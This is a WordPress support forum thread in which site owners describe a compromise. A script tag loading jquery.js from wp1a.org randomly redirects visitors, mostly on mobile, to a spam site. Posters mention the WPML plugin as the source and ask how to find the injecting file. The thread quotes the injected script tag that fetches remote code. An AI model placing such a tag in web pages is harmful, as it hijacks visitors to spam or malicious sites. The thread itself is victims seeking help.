coleturner222

Hi, I’ve solved the problem. The files inffected were related to wpml pluggin

@tara. I created my own topic and I solved the same issue. All that I wanted was helping @ wpquestion321….

@ wpquestion321: I have solved the problem, do you have the pluggin wpml installed?

Oh sorry, I have enable the right click, I forgot it was disabled. Now you can use it. Yes It happens in several browsers, most of the times in mobile devices. First time I realised there was a problem was from an Iphone but when I accessed from the computer everything looked right.

But then one day, testing the speed with pingdom I see in the cascade that there is a jquery.js loaded from wp1a.org that redirects my site to financetimes.co. Even in the screenshot taken when I did the test you can see it’s not my page: https://tools.pingdom.com/fpt/#!/baYVeA/https://jleal.eu (done November 30 at 15:35:54)

I use the inspector mode and sometimes it’s not loaded in the home page, sometimes it’s in some post, it changes. But if I refresh sevral times I can see: 200 GET from wp1a.org and there it is ??

Thanks for the comments, I’m thinking in deleting all the site and reinstall the theme and wordpress from zero. But the database must be the same, could the code been hiden in the database?

I’ve update the wordpress and the theme but it’s still there (I haven’t touch the database). With the web inspector in Firefox I can see it’s loading in the body (and not always what I can not understand). How can I know which file (php I imagine) I making this call to wp1a? thanks so much

Hi,

I have the same problem. I detected the same problem one week ago. Once this file is charged, randomly it redirect the user to another page, in my case it’s always financetimes.co which is SPAM.

I’m trying hard to know who is making the call: <script type=”text/javascript” src=”https://www.wp1a.org/jquery.js”></script&gt;
but for the moment I have no clue. I’ve restored mon wordpress and it’s still there